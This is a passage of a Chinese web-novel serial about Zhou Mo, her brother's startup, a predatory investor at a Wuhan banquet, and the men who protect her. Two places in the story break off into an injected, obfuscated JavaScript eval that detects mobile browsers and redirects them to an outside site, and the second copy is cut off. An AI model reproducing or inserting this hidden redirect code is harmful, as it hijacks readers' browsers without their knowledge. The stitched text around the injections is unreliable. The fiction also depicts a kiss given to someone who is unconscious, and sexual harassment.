周墨摆手,“嗐,朱美丽隔三差五就来北京,你总不能每次都当地陪,安心忙你的工作嘛。” 两人吃完烤肉出来,徐子衿发动引擎,忽然问:“小墨,要不要去我的公司看一看?” “好啊!” 虽然徐子衿一直在北京创业,可周墨却从没去他的威肯科技观摩过,已经好奇很久了。 车子驶入海淀一家写字楼的停车场。 周墨跟着徐子衿进电梯,到第十层一开门,迎面墙壁就是威肯科技巨大的公司logo。 周墨看到logo的一瞬,却愣住了。 “哥……我第一次知道,原来你的威肯科技,英文名字是这个。” “嗯,是weekend谐音。” weekend……周末。 为什么偏偏是这个名字。 电梯门口的声控灯熄灭了,只有应急灯微弱的光亮,让周遭一切陷入幽暗。 安静的环境,让轻浅的呼吸声都变得清晰可闻。 周墨收回目光,发现徐子衿一直在旁边安静看着她。 他的眼神似乎和平日不同,又沉又深。 23. 023 “哥,你看什么呢?” “看你像个土包子,眼睛都直了。”徐子衿面无表情转身向右手边,用指纹刷开了玻璃门。 威肯科技占据了大厦的一整层,此时公司里已经空无一人,只有一眼看不到尽头的格子间。 徐子衿带周墨走进总裁办,这里虽然空间不算太大,落地窗外的景色却很好。 “哇,这就是B轮公司总裁能享有的独立办公室么?” 周墨走到窗边,看外面马路上车灯连成的光河。 “收起下巴,口水都要滴下来了。” 周墨很不满,走到总裁办公桌后,鸠占鹊巢坐进徐子衿的老板椅里。 她看见桌子上摆了很多手机,打趣道:“你们公司不会是做电诈的吧?怎么这么多手机?” “这些是测试机。”徐子衿过来,顺手捡起一个,滑开屏幕,“要不要看看我们新做的APP?” “就是你说的,内置个性化的推荐引擎?” “嗯。” 周墨对技术一窍不通,做的公众号也多为情感类女性向的,不过她对各类门户网站非常熟悉,所以刚打开这个陌生的新闻资讯类APP,就感觉到了不同。 “这里面的内容……都是随机的吗?没有固定编辑板块?” “不能说是随机,它会根据你的兴趣爱好做推荐,刷的时间越久,推荐喜好越精准,千人千面,每个人刷出来的内容都不同。” 周墨若有所思,“那我是不是可以这样理解?每一个人都可以平等地在这个平台上发布内容,享有平等的曝光机会。对一篇图文或者视频感兴趣的人越多,就会获得更多的推送,换句话说,内容越优质,曝光就越大?” 徐子衿微微挑眉,似乎对周墨的敏锐十分惊喜。 “你有潜质成为一个优秀的产品经理,要不要来我的公司上班?我给你最高的行业薪资。” “才不要。不过我打算成为你的第一批注册用户,安装包发我一个!” 徐子衿用微信给周墨发了安装包。 “你觉得这个app好用?” 他认真看着周墨,像是在面对最重要的投资人。 “我现在还无法评价它是不是好用,但是可以肯定的是,它很特别,现在大部分内容平台都被头部博主垄断了,要么编辑话语权极大,只根据自己喜好筛选内容,底层创作者很难出头。虽然我是既得利益者,但是不得不承认,失去了生命活力的土壤,终究是要贫瘠干枯的。” 周墨飞快在自己的手机上安装了app,完成了一键注册。 “我还可以拉一批头部博主来入驻,怎么样,需要么?” “需要,很需要。” “哦?那我有什么奖励?” 周墨抬起头,笑吟吟地看徐子衿,带着几分调皮。 两人一坐一立,徐子衿双手撑住桌面,垂眼望过来。 “你想要什么奖励?” 周墨轻哼,“说得好像我要什么你就给什么一样,难不成要你公司的股份,你也给?” “这不是很简单?”徐子衿皮笑肉不笑地说,“你跟陈向远离婚,以后我名下的股份都是你的。” 周墨脑子有点转不过来,“为什么是我的?” “爸妈百年后,我死了,你不就是我唯一的继承人?” “那为什么要跟陈向远离婚?” “我可不想自己奋斗一生的财产分一半给那个狗东西。你要是不跟他离婚,我就写遗嘱,死后把所有钱都捐给国家。” 周墨掰着手指头算了算,“那您还是捐给国家吧,为了继承你这点股份,我不仅得把爸妈和你都熬走,还得终身不婚不育,哦对,你也得不婚不育才行,太难了。” “怎么,你这意思,还非他不可了?”徐子衿的脸色很不好看。 “徐子衿同志,请问您是怎么理解到这一步的?” “让你跟他离婚,你就要不婚不育了,这不是你自己说的?” “我是那个意思么?!” “所以什么时候去办离婚手续?”徐子衿话锋一转,又回到原点。 周墨叹了口气,向后靠在椅背上,伸了个舒服的懒腰。 “陈向远要么不出现,要么黏在朱美丽身边,我哪有机会跟他去扯离婚证?怎么也要等朱美丽回滨城后了……” 徐子衿正想说什么,周墨的手机响了,她接起来以后,忽然兴致勃勃地跑出去,不一会儿拿着一瓶酒进来。 “这是什么?”徐子衿问。 “叫的外卖呀,点了一瓶香槟。” 周墨在办公室里四处寻觅,没看到酒柜。 “我说你这个总裁是怎么当的,办公室里连两只高脚杯都找不出来么?” 徐子衿指了指角落的饮水机,“那里有一次性纸杯,不过你点香槟做什么?” “当然是庆祝啦!今天你们公司完成了技术突破诶,总要有一点仪式感的!” 尽管周墨很嫌弃一次性纸杯,却也别无选择,用它们给两人分别倒了一杯香槟。 “你应该知道我们是开车来的吧?”虽然这样说,徐子衿还是顺从地接过香槟。 “哎呀,叫个代价嘛!来,干杯!” 周墨用自己的纸杯碰了碰徐子衿的,一口饮尽。 “祝哥哥的app上线即大爆,拳打企鹅,脚踢黑猫,早日成为互联网巨头!” 明知道现在的互联网创业有多难,也明白这些吉祥话只是图个好彩头而已,徐子衿还是抑不住唇角的笑容。 再给他几年的时间,只要再给他几年,他一定会积累下足以托举周墨未来的资本。 他不会比林跃琮和陈家兄弟差。 只要再给他几年的时间。 周墨先前在日料店喝了不少日本清酒,那东西喝着没感觉,后劲却很大,再加上吃烤肉的时候又喝了点啤酒,此时就有点嗨。 她仗着公司里没别人,可劲儿地撒欢,又是唱又是跳的,生生以一人之力扛起整个氛围组。 她还给徐子衿吹彩虹屁,夸他是良心老板。 “你看看这附近的写字楼,哪个不是灯火通明,通宵达旦的,你们公司居然没人加班!” 徐子衿却只是笑笑不说话。 平常这个时间,公司加班的人没有一半也有三分之一,之所以今天一个人都没有,是因为全都被他放假,团建聚餐去了。 推荐引擎取得技术突破,大家心里都高兴,熬了几个月也总算可以放松一下了。 可是徐子衿却婉拒了和员工们一起团建的邀请,他给出的理由很冠冕堂皇:怕他在大家放不开,玩得不尽兴。 但真正的原因只有他自己知道—— 他的喜悦,只想与一人分享。 其实也不只是喜悦,他的成就,他的落寞,他的忐忑……他未来人生的一切情绪,都只想与一个人分享。 周墨一个晚上喝了三种酒,不醉是不可能的。 徐子衿叫了代驾,回家的路上和周墨一起坐在后排,周墨就靠在他的肩头,没了骨头一样。 “一个月之内,两次醉得不省人事,像什么样子。”徐子衿忍不住低声训斥。 “唔……这次又不是和别人,是和你在一起的……和哥哥……”周墨半梦半醒地念叨着。 徐子衿眸色晦暗。 他微侧过头,唇蹭过周墨额前柔软的,带着淡淡甜香的发丝。 不禁苦笑。 明明和他在一起,才更危险。 到家时已经凌晨一点多,玄关的灯没有关,朱美丽却已经睡下了。 徐子衿抱着周墨回卧室,将她放在床上。 他的酒量是极好的,可他觉得自己今天一定也喝醉了,不然为什么已经将人放下,却还是不肯离开。 黑暗中,他近乎贪恋地凝视着那张脸。 欲念压抑得太久,就会滋生出有毒的果。 当徐子衿反应过来的时候,他已经吻上了周墨的唇。 …… 三天后,朱美丽离开北京返回滨城。 陈向远和徐子衿一起送她去机场,在看到周墨手里也提着行李箱的时候,两人都很意外。 “你也要回滨城?”陈向远眼睛亮亮地问。 他心里的算盘已经打起来,如果周墨也回滨城,他立刻就要搞一张回滨城的机票。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197318|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回滨城好啊,既能赖在丽姨和周墨身边,还不用担心被押去离婚,反正他肯定不会带户口本的。 可惜,周墨的回答让陈向远的美好憧憬瞬间破灭。 “不,我去武汉,今天晚上要去那边见个投资人。” 徐子衿微微皱眉,“走得这么急?见的是哪家投资人?” “一家不太有名的创投公司。”周墨回答得敷衍,似乎有意躲避徐子衿的视线。 徐子衿何其敏感,他想到那天晚上失控之下的吻。 可是当时周墨睡得明明很沉,第二天早上吃饭的时候,也是一切如常,和以往并没有什么不同。 周墨没让陈向远和徐子衿进机场,她的航班比朱美丽晚半个小时,刚好可以送她上飞机。 两人在出发口卸下行李,陈向远挂在朱美丽身上不下来,依依不舍的。 “美丽阿姨,以后要多来看看我呀!” “哎呀好了好了,以后我常来!这里不让停车太久,你和子衿快点走吧!”朱美丽拍着陈向远的爪子,好不容将他从身上摘下来。 “妈,和爸照顾好自己,有事跟我说,我和小墨过年就回来了。” “放心吧,你们也要注意身体,不能仗着年轻就随便糟蹋。”朱美丽像每一个临别前的老母亲那样,殷殷嘱咐。 徐子衿向来不善表达,却也忍不住上前,用力抱了抱她。 过了安检后,周墨先是陪着朱美丽去她的候机口,等她上了飞机,才去自己的候机口。 一番折腾下来,当她好不容易登机,已经是两个小时以后了。 找到自己的座位坐下,周墨总算是长舒一口气。 手机这时进来一条消息,是岳朗发来的,又是一张飞机上的白云图。 周墨:【从海南飞走了?】 岳朗:【嗯。】 周墨:【这回又要飞去哪里?】 岳朗:【有你的地方。】 周墨也用手机对着舷窗外拍了一张,发了过去。 她的飞机还没飞起来,所以拍到的不是云层,而是航站楼。 岳朗:【你离开北京了?去哪儿?】 周墨:【武汉。】 岳朗:【挺好,可以吃鸭脖了。】 岳朗发完这条消息就没有动静了,想来是飞机上的WiFi信号不好。 周墨回复了一个流口水的表情包,就没再理会。 抵达武汉是下午三点多,周墨找到投资人的微信,发了条消息过去。 【吴总,我已经到武汉了,您看您什么时候方便约见面?】 对方很快回复:【欢迎周总,我现在就有个空档,您四点之前能赶过来么?】 同时发了个定位。 武汉这位投资人叫吴婧,是卫青青介绍的投资人里唯一还没见过面的,线上她们聊过几次,觉得有进一步合作的可能。 周墨用导航算了一下时间,就算在最极限的情况,她从机场赶到地方也要快四点了,但是周墨不想错过这个机会。 她从卫青青那里得知,吴婧明天就要飞泰国,再回来是什么时候就不一定了,投资风向瞬息万变,所以周墨才这么急着来武汉见她。 机场打车一向困难,周墨用打车软件,加价到两百块,才在最短的时间内叫到了一辆商务车。 饶是如此,赶到吴婧所在的写字大厦,已经是三点五十分了。 来接待周墨的是吴婧的助理,人很客气,将周墨引到会议室,让她稍等片刻。 周墨心想,再稍等片刻,就到四点了,还能聊个屁? 就在周墨等到心灰意冷的时候,吴婧推开会议室的门走进来。 周墨立刻起身,一眼看过去,便看得出对方是个干练的女人,保养极好,一身顶奢,气场极强。 “周总,实在不好意思,之前说好的四点之前可以和你聊一会儿,现在我得去赶一个饭局,恐怕没时间招待您了。” 周墨笑了笑,不卑不亢道:“不好意思,机场过来的路上有点堵车,您看这样行么,要是方便的话,我和您在车上简单聊几句?” 吴婧只是略微思索,便一挥手,干脆道:“来吧,跟我走。” 24. 024 吴婧所在的飞达创投并不是投资圈内的大资本,但是大资本虽然资金雄厚,各种条条框框的规定却不少,投资条件大多苛刻。 飞达创投算是资本圈的后起之秀,周墨研究过他们最近几年的投资案例,可谓眼光独到,出手果断。 最重要的是,飞达的投资理念周墨很喜欢,他们对被投资人的经营几乎是零干预,会给予最大程度的自由和尊重。 这也是周墨想要努力争取飞达的原因之一。 吴婧话很少,整个行程中,都是周墨在单方面地介绍,她感觉她快把自己干成了压缩包,尽可能用最精简的语言介绍公司情况和未来发展计划。 一直等到周墨讲完,吴婧提了两个问题,第一个问题:“现在所有人都在做微博和公众号,你觉得图文红利还能吃多久,下一个内容载体会是什么?” 周墨略一思索便道:“红利永远在消失,但人性永远不变。下一个载体不会是更长的文章,一定是更轻更快,更能刺激情绪的东西。但不管载体怎么变化,能抓住人心,戳中情绪的内容,永远是稀缺品。我们公司现在做公众号,并不是守着图文带来的红利,而是在磨炼一套能捕捉大众情绪,制造爆款的底层能力。我相信无论载体如何迭代,这套能力永远是最值钱的。” 吴婧点了点头,紧接着又抛出第二个问题:“我看过你的个人资料,你的公司初始完全是靠你个人的写作能力,你该如何向投资人证明,你不是在做一个或者多个大号,而是在经营一家内容公司?” 周墨笑了笑,“我从不觉得我是一个作者,而是一条内容生产线的设计者。如何选题,如何戳痛点,起标题,调动情绪,引爆转发,这是一套工业化的生产体系,我能做出一个,十个账号,未来就能复制一百个甚至一千个头部账号。我卖的从来不是文章,而是内容生产能力。” 吴婧唇角的弧度越来越明显,看向周墨的目光中充满了欣赏,“不知道周总时间是否方便,愿不愿意与我一同出席接下来的这个饭局?” 周墨有点惊讶,“我吗?不知道这是否合适。” 吴婧道:“是一个投资圈的小型聚会,没什么不合适的,只要周总愿意出席,我可以为您引荐。” 这是一种示好,更是提携,周墨自然不会拒绝,好在她身上穿着正装,就算直接去参加晚宴,也算得上得体,当即道谢应下。 饭局在一家郊区的会所,的确如吴婧所说,只是小型聚会,一个能容得下三十人左右的包厢,吴婧到的时候,里面已经坐了不少人,见吴婧和周墨进去,有些人站起来,有些人则继续坐在座位上。 在所有坐着的人里,有一个略上了年纪的,被人称作王总,周墨注意到,吴婧在看到这人时,微不可见地蹙了一下眉。 “这位是周墨,我非常看好的创始人,在内容领域做得非常出色。”吴婧主动和人介绍,大部分人都很客气地点头示意。 接着吴婧又一个一个介绍起在座的各位大佬。 “这位是王炳坤王总,做海运和国际贸易起家,现在也做资本,是咱们圈子里的老大哥。” 周墨向对待前两位前辈大佬那样,躬身行礼问候,然而这个王总的目光却肆无忌惮在她身上打量,让人觉得十分不舒服。 “吴总带来的创始人,和吴总一样都是大美人呢,刚好,给我们今天的这场饭局增添了不少色彩啊。”王炳坤笑眯眯地说。 吴婧的眉眼很冷淡,没有接话,周墨也就不好说什么。很快王总又被其他人拉去聊天,陆续也有一些人主动上前跟吴婧搭话,并递上名片,这些人里,有的吴婧会介绍给周墨,有的甚至懒得敷衍。 小小的一个酒局,可谓等级森严,地位分明。 周墨算是这里面的食物链底层,也只能少说多看,低调地跟在吴婧身边,与人结交攀谈。 饭局正式开始,所有人入座,随着几轮敬酒,气氛渐渐热络,王炳坤的注意力再次落回周墨身上,那目光黏腻又无礼,像是在打量一件囊中之物。 他端着满满一杯高度白酒,身子往前一倾,径直把酒杯推到周墨面前,杯沿几乎要碰到她的指尖,语气带着不容拒绝的傲慢:“周小姐,今天能认识您这样秀外慧中的杰出人才,实在是荣幸,来,我亲自敬你一杯!” 这分明是来者不善,所有人的谈话都停了下来,目光移转向周墨。 旁边的吴婧眉头悄悄蹙起,连忙端起自己的酒杯想打圆场:“王总,周总年纪小,才大学毕业呢,可能不胜酒力,她是我引荐给各位的,不如这杯我替她喝吧?” 王炳坤阴阳怪气地笑了一声,“别说大学毕业了,就算是在读的大学生,咱们也不是没见过,不是照样陪着我们喝得尽兴?各位说是不是啊?” 这句话的暗示意味已经相当露骨,很不尊重了,俨然将周墨当成了陪酒的存在。 吴婧的脸色变得难看,同为女性,这种肆无忌惮的对女性的蔑视和羞辱,同样是将她的尊严踩在地上。 偏偏以王炳坤在圈子里的地位,吴婧是万万不敢得罪的,伸在半空的手端着酒杯,收也不是,递也不是,只能尴尬地悬在那里。 两人是在场唯二的女生,满座男人,竟无人上前解围。一方面是不想得罪王炳坤,另一方面,又何尝不是想跟着看看热闹,增添些酒桌上的兴味。 就在这时,吴婧的手被人轻轻按住了。 周墨起身,脸上挂着得体浅笑,眼底没有半分怯意。她缓缓拿起那杯白酒,抬眼看向王炳坤,语气大方又从容:“吴总愿意提携我,今天将我引荐给各位前辈老师,我又怎能再麻烦她替我挡酒?合该是我替她挡酒才对。” 说着周墨看了吴婧一眼,见她微不可查地摇头,递过去一个放心的眼神。 “按规矩,应该我先敬王总才对,让王总先开了口,反倒是我不懂规矩了,这样,您给我倒的这杯酒我干了,然后我再赔一杯!” 话音落,周墨没有丝毫犹豫,仰头就将杯中白酒一饮而尽,动作干脆利落,没有半点拖泥带水。紧接着又给自己倒了满满一杯,眼也不眨地喝干净。 这一下给所有人都镇住了,显然没料到这个看起来满是学生气的小姑娘竟这么能喝。 可是在王炳坤看来,这无疑是一种挑衅,他不得不跟着喝了一杯酒,脸上挂了色,眯起眼睛,语气带着刻意的刁难:“周小姐够爽快,可是在座这么多人,您只单单敬了我,可不太行啊,我怕别人有意见。” 周墨眸光清亮,笑道:“王总您教训得是,到底是我年轻,考虑不周。” 她一手拿着酒杯,一手抄起白酒瓶,从自己的座位离席,开始绕着桌子,按照顺序给每个人敬酒。将吴婧特意引荐过的人敬完,她最后又倒一杯,“敬大家!以后还望各位关照!” 这么一圈的酒敬下来,周墨笑意不减,脸不红、气不喘,谈吐依旧沉稳,倒是让众人看向她的目光生出些忌惮,最起码那些蠢蠢欲动还想灌她喝酒的人,都打消了念头。 几杯高度白酒下肚,王炳坤自己也有些上头,眼神愈发浑浊。见灌酒没能拿捏住周墨,他心里不舒爽,又倒了杯酒凑过来。 “小姑娘酒量好,人也长得漂亮,以后我就是你大哥,你就是我亲妹子,来,今天有缘,哥哥再跟你喝两杯。”肥腻的大手竟是直接向周墨腰间揽过来。 周墨照旧与他碰杯,身体却不着痕迹向前,躲开了王炳坤的咸猪手,同时头微微偏过来,附在王炳坤耳畔,声音压低,却刚好能让对方听得一清二楚。 “王总是投资圈前辈,在业内颇有声望。我只是个小角色,人微言轻,本不该多嘴,但王总可能不知道,我手里运营的几个公众号,加起来也有几千万粉丝,平日里就爱写些职场潜规则,生意圈大佬私生活之类的八卦小故事,粉丝们也都很爱对号入座。您说我要是一时手快,把今天酒桌上的‘趣事’,再添点细节写成推文发出去,恐怕会给王总增添许多不必要的烦恼吧?” 王总脸色一阵青一阵白,他私底下行事虽然没什么品,在外面却最爱营造德高望重的好名声。 如今自媒体时代来临,舆论口子不像以前好控制。他酒意顿时清明了几分,他心中不悦,却也只能强装镇定,抽回自己的手,干笑着打圆场:“周总后生可畏呀,我们这些老家伙,只怕早晚要被你们拍在沙滩上了!” 他这回倒是不敢灌周墨的酒了,但是周墨又怎能放过他?她才刚刚威胁了一位大佬,但凡他再想了什么法子给她下套,简直防不胜防。 这饭局上的人,她是真的谁也得罪不起。 于是接下来,周墨开始以各种理由名目为王炳坤敬酒—— “这一杯,我敬王总心胸宽广,提携后辈!” “这一杯,我敬王总名声常在,口碑长红。” “这一杯,我敬王总干净做事,体面做人!” “这一杯,我敬王总身强体壮,宝刀不老!” 王炳坤被周墨灌得快晕了,到最后已经不知道她在说什么,只有同局的旁观者们越听越觉得不对劲,总感觉这小妮子在拐着弯子骂人。 吴婧到最后几乎控制不住唇角的笑意,还有平时看不惯王炳坤作风的,见他喝趴在桌上开始胡言乱语,也都不免幸灾乐祸。 周墨感觉差不多了,就以赶飞机为借口,提前告辞,她一路从包厢走到洗手间,都是面不改色举止得体,可是一到洗手间,就狼狈地吐了起来。 胃部的绞痛让她的衣服几乎被冷汗浸透,吐到最后,连喉咙都被上反的酸水腐蚀刺痛。 “周墨,你没事吧?”吴婧的声音从身后传来。 周墨抬起头,从洗手池的镜子里看到吴婧向她递来一张餐巾纸,目光透露出担忧。 “吴总,我没事。”周墨接过纸,擦干净脸上的水渍。 “抱歉,我不知道今天那个王炳坤也会出席,不然不会带你来。” 周墨笑了笑,“这种事也并非没有经历过,我有心理准备,吴总不必介怀。” 吴婧神色复杂,她从包里拿出一支女士香烟,垂着眼猛吸了两口,才缓缓吐出烟雾,声音低哑:“说到底,你今晚还是被我连累了,若是一个男投资人带你进圈,那个王炳坤也不会这么放肆。” 周墨又如何看不出吴婧的处境,资本圈本就是男人的天下,一个基金里有一到两位合伙人就算是“高配”,大多数机构都是零女性合伙人。像是吴婧这样的女投资人,可以说凤毛麟角,想要爬到同等的地位,要比男人付出更多。 类似今晚的情景,吴婧想必也经历了不少,一路走到今日,已经是相当了不起。 周墨看着这位强势干练的女投资人,此刻落寞脆弱的样子,伸手拍了下对方肩膀,故作热血道:“吴总,所谓十年河东十年河西,我看好你哦,什么王总刘总,以后在你面前让他们大气都不敢喘!咱们来日方长!” 吴婧愣了一下,对上周墨亮晶晶的眼睛,不禁失笑,随即又恢复了平日里的精英女投资人模样,她向周墨伸出手,“周总,幸会,咱们来日方长。” 周墨郑重回握,“吴总幸会!来日方长!” 两个女人相视一笑,一切尽在不言。 以吴婧的身份,不好提前离场,只能又回到饭局上。 周墨一个人走出会所,用手机软件叫车,却一直无人应答。这里地处郊区,很难打到车,又没有公交和地铁,她酒劲上来,头有点晕,只能坐在会所外的石阶上,打算等吴婧出来后厚脸皮蹭个顺风车。 远离了步步为营的交际场,高防御状态卸下,夜风吹来,周墨浑身泛起冷意,不禁打了个寒战。 她用双手环住双膝,努力将自己团起来,不知道为什么,突然就想到了朱美丽。 要是朱美丽看到今天发生的事,不知道会多心疼呢。 周墨这样想着,眼圈就开始发酸,她努力仰起头看没有星星的天空,不想让泪水流下来,可是朱美丽那张脸却越来越清晰,让她越来越委屈。 谁又不是家里好米好面精心养大的孩子呢?凭什么就要在外面给人欺负? 她越想越气,一边抹眼泪一边在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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岳朗冲大门口扬了扬下巴,“坐在外面的那位小姐,从哪个包厢出来的?” 经理为难道:“抱歉先生,这是客人隐私,我们没法提供,您有那个包厢的邀请函么?” 岳朗懒得废话,“告诉我包厢,以及今晚包厢客人名单。” “抱歉先生……” “还是说,要我给你们老板打电话,让他亲自帮我查?” 经理顿了一下,道:“先生贵姓?” “岳朗。” “您稍等。” 经理离开了片刻,再回来的时候,手里拿着一份宾客名单。 岳朗目光扫过去,在上面看到个熟悉的名字。 他拿出手机拨了个电话。 吴婧回到包厢,还在担心周墨,低头给她发了条微信,问她有没有顺利打到车。 这时桌上有一个人的手机响了,他看到来电显示,急忙跟大家说了句抱歉,跑出去接电话。 “喂,岳总,您怎么……”对面的人语气极其恭敬。 岳朗不耐烦打断他的寒暄:“今晚你所在饭局,都发生了什么事,跟我说说。” “啊?饭局?没,没什么啊……” 岳朗耐心几乎告罄,沉声提示:“有个叫周墨的女孩子,她是被人灌酒了么?谁干的?” 对面突然紧张起来,说话也有些结巴:“啊,周总原来是岳总的朋友么?这,这……确实周总今晚喝了不少,早知道她是岳总的朋友,我一定就多替她挡……” “我在问你,谁干的?” 站在岳朗不远处的会所经理心一直悬着,他偷偷瞄着那个正在打电话的年轻男人,紧张得手心都在出汗。 总觉得这人下一秒就能冲进包厢杀人。 然而通话结束,男人收起手机,却只是重新看了眼宾客名单,在其中一个名字上轻轻用手指点了两下,然后竟是直接转身离开了。 预想中的闹事并没有发生。 一切又复归平静,就好像刚刚那风雨欲来的危险气息,只是他们的错觉。 岳朗重新回到周墨身边。 周墨正裹着他的夹克,闭着眼睛,似乎快睡着了,并没有察觉他的靠近。 他单膝跪在她身边,就那样安静地看着她的脸,眼中满是心疼。 终于,他忍不住抬手,轻轻拨了一下她额前的碎发。 周墨眼睫颤动,睁开了眼。 岳朗立刻绽开笑容,露出满口白牙,“车提出来了,走么?” 周墨“哦”了一声,想站起来,却发现脚底发软,差点栽倒。 岳朗一伸手将她的腰揽住。 对比饭局上王炳坤的咸猪手,周墨对岳朗的触碰没有丝毫抵触,她甚至十分自然地抱住岳朗坚实的手臂。 “阿朗,我有点没力气,扶你一下哈。”这一晚心力交瘁,周墨此刻闻到岳朗身上的气息,只觉得满满的安全感 岳朗却露出一个很乖的笑容,背转过去,伏低身体,笑道:“不如我来背小墨姐姐吧?” “不用了吧……”周墨有点不大好意思,但是目光却控制不住落在岳朗宽阔的背脊,晃晃悠悠地很想扑倒在上面。 “用的,就像小墨姐姐小时候背我那样,好不好?”岳朗声音温柔,像在诱哄。 周墨却皱眉,“嗯?小时候?我什么时候背过你?” “小墨姐姐不记得了么?小时候,我有一次发高烧,是你背我去的医院。” “是吗?” “是啊。” 说话间,周墨已经被岳朗背了起来,她的记忆也只到这里,再往后面,就什么都不知道了。 岳朗小心翼翼将周墨放进车子里安置好,这才又拨通一个电话。 这一次,他说的是缅语。 “以后威隆海运的货船,但凡在迪拉瓦和仰光停靠,全都卡了,货清空。” 威隆海运,正是王炳坤的船运公司,也是他在资本圈的立身之本。 25. 025 岳朗没有带周墨去酒店,而是开车进入一片别墅区。 这片别墅区是他三年前参与建设的,那时候他还没有实力直接开发项目,而是承包了工程。开发商现金流紧缺,没办法如期支付施工款,直接拿出几套别墅抵款。岳朗自留了一套,剩下的出手,折了现金分给施工队。 他只知道这里有一套别墅是他的,也委托了管家帮忙打理,却从来没亲自来过。这次过来,连门牌号都是现查的。 将周墨抱进别墅时,岳朗才发现她有点发烧,好在别墅内备有医药箱,他没有直接给周墨喂药,而是拿了一贴退热贴,贴在她的额头上。 醉酒加上发烧,周墨睡得很沉,岳朗就守在她的床边,每隔半小时都会用电子体温计给她测体温,并且及时更换退热贴。 岳朗一直握着周墨的手,也只有像此时这样,在周墨没有意识的时候,他才敢肆无忌惮地和她十指相扣。 两人肤色差很大,宽大手掌中,周墨的手显得那样白皙小巧,似乎柔弱无力,可是岳朗至今还记得,小学二年级那年,他高烧不退,就是这样一双手,将他从床上拉起来,用比当时的他高不了多少的小小身躯,背着他去医院。 根据后来得知的信息,当时他已经感染了脑膜炎,偏偏那时放寒假,白天小区里没有大人,哥哥陈向远和同学出去打球,如果不是周墨发现了他,要是再送医晚一点,没能及时打退烧针和消炎针,后果不堪设想。 也就是从那次开始,岳朗就不再对周墨调皮捣蛋了。不会偷偷在她的书包里放毛毛虫,也不会趁她趴在书桌上睡觉,拽掉她的头绳,更不会在她的作业本上画小乌龟。 他开始叫她“小墨姐姐”,并且在陈向远和她吵架的时候,坚定不移地站在她那一边。 原以为,他会一直住在锦上花园的别墅里,守着他的小墨姐姐,读同一所小学,初中,高中,乃至大学……直到十三岁那年,命运弄人,一切美梦相继幻灭。 他从天堂到地狱,从此再也不可能成长为她所喜欢的那种,简单、阳光、单纯的少年。 又到了该更换退热贴的时间了,岳朗拿下周墨额头上已经不太凉的退热贴,撕了一贴新的,重新贴上去。 动作间,指尖难免会触碰到她额上的肌肤。 那若接若离的温度和触感让他贪恋,终究是忍不住,轻轻触碰她的眉眼,她的脸颊,她柔软的唇瓣。 岳朗知道他不该如此,他眸色渐深,在欲望即将失控时,强迫自己收回手,近乎救赎般,闭上眼,双手握住她的手,在上面轻轻落下一吻,像最虔诚的信徒。 周墨后半夜终于彻底退烧,岳朗这才放心地离开她的房间,回到客厅,打开被提前送过来的自己的行李箱。 行李箱内,有什么东西反光,竟是一个玻璃罐,里面装的是满满的千纸鹤。 正是周墨当年那罐,不知所踪的千纸鹤。 …… 林跃琮终于结束出差回京。 飞机落地时已经很晚了,他猜周墨已经睡下,却还是忍不住点开与她微信的对话框,想了想,什么都没发,又重新跳转出去。 这时一条群消息吸引了他的注意力。 微信群消息会在聊天界面里显示最后一条消息的内容,即便不打开群,也能看到。 这个群的最新消息显示的内容是:这女孩真厉害,老王踢到铁板了。 林跃琮扫了一眼,是个投资圈子的小群,放在平时,他都是将这样的群设置消息屏蔽的,更不会没什么事点进去看这种八卦。 可是这一次,他竟是鬼使神差点开了群。 接着就看到群里发的两个视频。 林跃琮眸光微凝,隐约觉得视频封面里正在喝酒的女孩看着有些眼熟。 他将视频点开,看到周墨在向王炳坤说祝酒词,明眼人都能看出来其中的讥讽。 林跃琮微微皱眉,关掉视频,又点开前面那个视频。 在这个视频里,是王炳坤在向周墨敬酒,一边往跟前凑一边伸手去揽周墨的腰,周墨避过,附在王炳坤耳畔耳语几句,视频到这里便结束。 林跃琮脸色忽然很难看,他手指轻轻在屏幕上滑动,看到群里相关的聊天记录。 很显然,群里的人正对视频中的女孩评头论足,讨论得不亦乐乎。 【现在的女孩子,可不得了,这看上去还在念书吧,居然就傍上王总了。】 【我看她不像是主动的吧,王总想搂她的腰,女孩还在往旁边躲呢。】 【切,欲擒故纵呗!这种小姑娘我见多了,没看后面又对王总耳语,笑得那么开心。】 【可是她那祝酒词可不是什么好词儿,变着法的骂人呢。】 【嗐,小辣椒呗,也许王总就喜欢这一口的。】 从来不知道,那些白天穿得人模狗样,嘴里讨论着企业月营收和获客成本的男人们,私底下也能如此八卦。 林跃琮眸光清冷,面无表情看完所有和这两个视频有关的聊天记录,打了一句话,发送进群。 林跃琮:【视频里的女孩子我认识,我个人很欣赏她。】 此消息一发,正在热火讨论的微信群瞬间安静下来,再也没有人发消息,哪怕是个表情都没有,所有人就像突然死了一样。 那个最初发视频到群里的人肠子都悔青了,偏偏微信消息没有撤回功能。他暗自腹诽,心说一定要给微信的研发团队提个建议,让他们尽快推出消息撤回功能。 正提心吊胆,担心会不会因此得罪了林跃琮,就收到了来自林跃琮的消息。 林跃琮:【这个视频是你现场拍的?】 【是……林总,我没有恶意,只是头一次看到让王总吃瘪的女孩子,觉得很厉害,发出来也没想到会是这样的评价风向,真的抱歉】 林跃琮:【在哪里?】 对面沉默片刻,似乎在理解林跃琮这句话的意思,好在干投资的都是聪明人,很快就发来一个会所的地址。 【林总,我们今晚是在这里吃饭的,但是现在饭局已经结束了,这位小姐也提早走了。】 林跃琮没有再回复这个人,只是看了眼他的微信备注,心里已经将这个人,以及其背后的资本方拉黑,不会再有任何合作了。 他没有惊动助理,直接在机场的到达大厅,定了一张最近的北京飞往武汉的机票。 …… 